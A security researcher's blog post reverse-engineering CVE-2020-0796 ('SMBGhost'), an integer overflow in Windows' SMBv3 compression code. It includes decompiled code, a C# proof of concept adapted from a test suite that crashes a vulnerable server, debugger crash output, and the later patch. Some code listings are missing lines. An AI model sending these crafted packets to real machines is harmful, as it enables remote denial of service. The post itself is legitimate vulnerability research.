I'm SMBGhost, daba dee daba da

Written by Lucas Georges - 12/03/2020 - in Exploit , Reverse-engineering - Download
This blogpost was created due to a mistake from Microsoft, releasing publicly an advance warning for CVE-2020-0796.
CVE-2020-0796, also nicknamed "SMBGhost" or "Coronablue" is a vulnerability impacting SMBv3.1.1 servers and clients and currently has no fix (12/03/2020).

An advance warning is something Microsoft gives to its "important" partners (think multinational firms and institutions) to warn them when a vulnerability has been found in their codebase but no fix has been released yet. That way those partners can mitigate the risk while waiting for the official patch. These advance warnings usually are not public for a good reason. However, on March 9 2020, MSRC (Microsoft Security Research Center) has publicly released ADV-200005.

According to @zerosum0x01, a person who has analyzed Wannacry in the past, the bug is trivial to find but not so easy to exploit. Unlike most 1-day writeups where the story began with a binary diffing, in this case we don't have the patched version yet so this bug must be uncovered using only our intuition and experience.

This is how you can do it.

DISCLAIMER: I knew very little about SMB before looking at this bug, however I know a great deal about the Windows ecosystem so not a complete beginner :)


In the ADV200005 security warning2, we have the following information:

Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.

Security Updates
Windows 10 Version 1903 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1903 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1903 for x64-based Systems               Remote Code Execution   Critical    
Windows 10 Version 1909 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1909 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1909 for x64-based Systems               Remote Code Execution   Critical    
Windows Server, version 1903 (Server Core installation)     Remote Code Execution   Critical    
Windows Server, version 1909 (Server Core installation)     Remote Code Execution   Critical


Disable SMBv3 compression

You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below.

    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

From this abstract, we can glean 3 important pieces of information:

  1. The vulnerability is affecting a SMB v3.1.1, an extremely recent version of the SMB protocol. So probably a feature where the "paint is still fresh"
  2. It is affecting "only" 1903 and 1909 builds, which means the LTSC version of Windows Server 2019 (build 17763) is not impacted.
  3. The workaround specially mentions disabling the Compression feature.

From this start, how can we hunt this bug ?

Well, for once, we need to know which binary is responsible for the SMB server. I knew from experience it's C:\Windows\System32\drivers\srv2.sys, but it's something you can find if you take a look at writeups on Wannacry.

Secondly, you need to retrieve the srv2.sys in the build version (18362 or 18363) that is vulnerable. Fortunately I'm a bit a of a binary hoarder myself so I already had it at hand, but otherwise you can download Windows IE VM3 and extract it from the guest system.

Static Analysis

Once you load up srv2.sys in your favorite disassembler, we can start by grepping some function names for compression since this is the feature singled out in the advance warning description (thanks MS for public symbols!):

  • Srv2DecompressMessageAsync
  • Srv2DecompressData
  • Smb2GetHonorCompressionAlgOrder
  • Smb2SelectCompressionAlgorithm
  • Smb2ValidateCompressionCapabilities

Srv2DecompressMessageAsync and Srv2DecompressData are really good clients, and since it's easier to read synchronous code than asynchronous, let's start with srv2!Srv2DecompressData:

__int64 __fastcall Srv2DecompressData(__int64 a1)
  __int64 v1; // rdi
  __int64 v2; // rax
  __m128i v3; // xmm0
  __m128i v4; // xmm0
  unsigned int v5; // ebp
  __int64 v7; // rax
  __int64 v8; // rbx
  int v9; // eax
  __m128i MaxCount; // [rsp+30h] [rbp-28h]
  int v11; // [rsp+60h] [rbp+8h]

  v11 = 0;
  v1 = a1;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000009B;
  v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
  MaxCount = v3;
  v4 = _mm_srli_si128(v3, 8);
  v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( v5 != v4.m128i_u16[0] )
    return 0xC00000BB;
  v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
  v8 = v7;
  if ( !v7 )
    return 0xC000009A;
  if ( (int)SmbCompressionDecompress(
              *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
              MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
              &v11) < 0
    || (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
    return 0xC000090B;
  if ( MaxCount.m128i_i32[3] )
      *(void **)(v8 + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
    v9 = v11;
  *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
  Srv2ReplaceReceiveBuffer(v1, v8);
  return 0i64;

This is the raw output from HexRays, which is not easy to read. However we can notice two things right of the bat:

  1. The function is pretty small, which is compatible with the "blatant bug" description.
  2. The function does basically three things: allocate a buffer, decompress data in it and copy an optional payload.

If we want to confirm this is the vulnerable routine and find the root bug, we need to have more context: what's a1 representing ? which are the fields we control as an attacker ? etc.

For that, I used three sources of public information:

  1. DevDays Redmond 2019, where they present an overview of "compressed" SMB packets
  2. [MS-SMBv2] the open specification documenting the SMB v2/3 protocol
  3. Public patches from Microsoft engineers in the open-source CIFS project

From that - especially thanks to the [MS-SMBv2] spec which details every packet's structure - I managed to recreate some key structure in IDA and have a better understanding on what happens in the srv2!Srv2DecompressData routine:

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
  __int64 smb_packet; // rdi
  __int64 _header; // rax
  AAA smb_header_compress; // xmm0_8
  unsigned int CompressionAlgorithm; // ebp
  __int64 __alloc_buffer; // rax
  __int64 __allocated_buffer; // rbx
  int PayloadSize; // eax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
  int UncompressedSize; // [rsp+60h] [rbp+8h]

  UncompressedSize = 0;
  smb_packet = _smb_packet;
  _header = *(_QWORD *)(_smb_packet + 0xF0);

  // Basic size checks
  if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
    return 0xC000090Bi64;

  v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
  Header = v3;

  // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
  *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                            offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
  if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
    return 0xC00000BBi64;

  // Nani ?? oO
  __alloc_buffer = SrvNetAllocateBuffer(
        (unsigned int)(
            Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),

  __allocated_buffer = __alloc_buffer;
  if ( !__alloc_buffer )
    return 0xC000009Ai64;

  // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
  if ( (int)SmbCompressionDecompress(
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
              (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
              &UncompressedSize) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
    return 0xC000090Bi64;

  // Copy optional payload
  if ( Header.OffsetOrLength )
      *(void **)(__allocated_buffer + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
      (unsigned int)Header.OffsetOrLength);
    PayloadSize = UncompressedSize;

  *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
  Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
  return 0i64;

Well, there is a smoking gun in the code now:

__alloc_buffer = SrvNetAllocateBuffer(
  (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),

OriginalCompressedSegmentSize and OffsetOrLength are two fields under the control of an attacker, the first one describing the size of the uncompressed data while the second is used when chaining compressed smb packets (see 2.2.42 of [MS-SMB2] specification):


Both OriginalCompressedSegmentSize and OffsetOrLength are 32-bit values, and srv2!Srv2DecompressData add them before allocating the new buffer, indicating a potential integer overflow. Since HexRays (the decompiler, not the company) can be a bit "traitorous" regarding those classes of bugs, let's check in the assembly:

00000001C0017EB2  movq    rcx, xmm0
00000001C0017EC8  mov     rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD  xor     edx, edx
00000001C0017ECF  shr     rax, 20h ;  OriginalCompressedSegmentSize
00000001C0017ED3  shr     rcx, 20h ;  OffsetOrLength
00000001C0017ED7  add     ecx, eax
00000001C0017ED9  call    cs:__imp_SrvNetAllocateBuffer

This really looks like an integer overflow! If true, this is a pretty egregious bug since Microsoft likes to remind us that they do intensive static analysis on their codebase, especially for drivers (leveraging sal notations and so on).

Since I'm really bad at finding bugs via static analysis, let's try to trigger it dynamically in order to confirm our suspicion.

Dynamic Analysis

In order to test our hypothesis, we need two things:

  • a vulnerable server, which is pretty easy to setup: just install a windows 10 1903 or 1909 build on a system and voila!
  • a SMB client implementing the SMB v3.1.1 compression feature, which is substantially harder.

Samba/CIFS famously said they were not vulnerable to this vulnerability since they do not implement the compression feature, and none of the usual suspects (pysmbclient or impacket's smbclient) support either. However, I managed to find a feature-complete SMB v2 client implementation.

The codebase is entirely in C# and is used by Microsoft for testing protocol conformity (and therefore is pretty complete in its feature coverage), which makes it an awesome playground to grok our POC from. Honestly, this project is a treasure trove for Windows security researchers: there is a complete implementation of a SMB server/client, RDP server/client, Kerberos server, SMBD server, etc.

While the code is extremely well written, it's written for conformity in mind so the packets are too "cleanly" created, but with enough hacks we can manage to do what we want:

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
            return packet;

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
            return packet;

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
  class Program
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)
      TREE_CONNECT_Response treeConnectResp;
      string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

      // trigger crash here
          out treeId,
          out header,
          out treeConnectResp

    static void Main(string[] args)
        Console.WriteLine("Hello World!");

        Logger logger = new Logger();
        AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

        BranchCacheDetector bcd = new BranchCacheDetector(

        DetectionInfo info = new DetectionInfo();
        info.SelectedTransport = "SMB2";
        info.ContentServerName = "DESKTOP-SMBVULN";

        info.UserName = "Ghost";
        info.Password = "Ghost";


        Console.WriteLine("Goodbye World!");

We had to severely hack Smb2Compression.cs to force to send "weird" packages, but that seemed to do the trick:

Breakpoint 3 hit
fffff800`50ad7ecf 48c1e820        shr     rax,20h
kd> p
fffff800`50ad7ed3 48c1e920        shr     rcx,20h
fffff800`50ad7ed7 03c8            add     ecx,eax
kd> r eax
kd> r ecx
kd> p
fffff800`50ad7ed9 4c8b15489a0200  mov     r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
kd> p
fffff800`50ad7ee0 e8fbe29704      call    srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
fffff800`50ad7ee5 488bd8          mov     rbx,rax
kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
fffff800`51a79580 cc              int     3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *

Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
Arg4: 0000000000000002, (reserved)

Debugging Details:

READ_ADDRESS:  ffff8483c09e7e2f Nonpaged pool

TRAP_FRAME:  fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
 r8=ffff8483c09e7e2f  r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
fffff800`51a0e750 418b08          mov     ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope

fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a


Overall, the CVE-2020-0796 bug is pretty easy to spot on (it took me a good half-day to trigger the BSOD) and there is currently no fix yet. But exploitation is a different beast: this is a kernel pool overflow that has to be exploited remotely, on a windows 10 with KALSR, etc. While this is a good idea to completely disable the feature for now, I don't think we will see a Wannacry-style wave of ransomware using this CVE to pwn companies en masse.

As an ending note, I'm always fascinated by the "psychological" aspect of vulnerability hunting: once you know there is a bug inside a binary it becomes exponentially easier to find it, even if you know nothing about the tech stack or the system.



Less than 48 hours after the unfortunate ADV200005 leak, Microsoft released a patch on 12/03/2020 (KB4551762) fixing the integer overflow in the allocation size :


__alloc_buffer = SrvNetAllocateBuffer(
  (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),


  unsigned int _v_allocation_size = 0;

  if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
    goto ON_ERROR;

  if (_v_allocation_size > another_smb_size_i_guess)
    goto ON_ERROR;

  __alloc_buffer = SrvNetAllocateBuffer(
  if ( !__alloc_buffer )
    return 0xC000009A;

  if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
    goto ON_ERROR;

  if (!NT_SUCCESS(SmbCompressionDecompress(
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
              &UncompressedSize)) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )

They went for a "dynamic" fix approch, where RtlUlongAdd and RtlULongSub are safe arithmetics routines that checks at runtime for integer overflow/underflow. If the math does not check out, an ETW event is emitted probably for Microsoft to monitor if SMBGhost has been used "in the wild".